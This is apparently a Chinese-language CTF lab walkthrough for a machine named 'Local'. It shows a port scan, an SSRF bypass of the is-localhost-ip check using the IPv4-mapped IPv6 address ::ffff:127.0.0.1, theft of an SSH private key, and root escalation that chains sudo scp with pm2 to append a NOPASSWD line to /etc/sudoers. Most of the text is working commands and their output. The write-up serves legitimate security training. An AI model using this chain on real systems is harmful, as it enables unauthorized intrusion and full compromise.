

```
[*] Starting scan on 192.168.1.115...
[+] Port 22 is OPEN
[+] Port 80 is OPEN
[+] Port 3006 is OPEN
```

扫描发现 3006 (Express Web 服务) 端口

该服务接受 url 参数，但如果直接请求本地地址（如 `http://localhost/flag` 或 `http://127.0.0.1/flag`），会被后端的 `is-localhost-ip` 库拦截，提示 `Forbidden: is-localhost-ip detected.`。

CVE-2025-9960

`is-localhost-ip` 库 (CVE-2025-9960) 存在一个解析缺陷，它无法正确识别 IPv4 映射的 IPv6 地址。我们可以使用 `::ffff:127.0.0.1` 绕过本地 IP 限制，读取隐藏的 API。

执行：

```
curl -s "http://192.168.1.115:3006/preview?url=http://::ffff:127.0.0.1:3006/flag"
```

```
H:\攻防\qianghua\Local>curl -s "http://192.168.1.115:3006/preview?url=http://::ffff:127.0.0.1:3006/flag"
{"status":"success","flag":"0h6WTnHJggZg451m"}
```

将目标目录下的文件下载为本地私钥文件 `id_ed25519`

```
curl -sL "http://192.168.1.115/0h6WTnHJggZg451m/" > id_ed25519
```

Windows 可以用 powershell 进行提权

```
icacls id_ed25519 /inheritance:r
```

```
icacls id_ed25519 /grant:r "$($env:USERNAME):(F)"
```

```
PS H:\攻防\qianghua\Local> icacls id_ed25519 /grant:r "$($env:USERNAME):(F)"
已处理的文件: id_ed25519
已成功处理 1 个文件; 处理 0 个文件时失败
PS H:\攻防\qianghua\Local> ssh -i id_ed25519 wikt0r@192.168.1.115
Enter passphrase for key 'id_ed25519':

wikt0r@Local:~$
```

密码就是上面的

```
wiktor@Local:~$ cat /home/wiktor/user.txt  
flag{user-bd62d032486aff767bc47d736c594dcb}
```

发现可以免密以 citrus 身份运行 /usr/bin/scp : (citrus) NOPASSWD: /usr/bin/scp

```
wiktor@Local:~$ sudo -l  
Matching Defaults entries for wiktor on Local:  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
Runas and Command-specific defaults for wiktor:  
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"  
  
User wiktor may run the following commands on Local:  
    (citrus) NOPASSWD: /usr/bin/scp
```

写脚本进行提权

思路是利用 Root 权限 (pm2) 将一个具有 SUID 权限的 shell 复制到临时目录, 然后运行这个 SUID shell 即可。直接让 PM2 把当前用户 wiktor 写进 /etc/sudoers 文件里

1. 编写由 pm2 (root) 执行的脚本: 直接修改 sudoers!

```
cat << 'EOF' > /tmp/root_sudo.sh
```

```
#!/bin/sh
```

```
echo "wiktor ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
```

```
EOF
```

```
chmod +x /tmp/root_sudo.sh
```

2. 编写过渡脚本, 改了一个新名字避免 pm2 缓存

```
cat << 'EOF' > /tmp/citrus_sudo.sh
```

```
#!/bin/sh
```

```
sudo /usr/local/bin/pm2 start /tmp/root_sudo.sh --interpreter sh > /dev/null 2>&1
```

```
EOF
```

```
chmod +x /tmp/citrus_sudo.sh
```

3. 触发提权链

```
touch /tmp/dummy
```

```
sudo -u citrus /usr/bin/scp -S /tmp/citrus_sudo.sh /tmp/dummy y:
```

```
sudo su -
```

```
root@Local:~# cat /tmp/root.txt  
flag{root-1b499d262771d39ceb16056de9834025}
```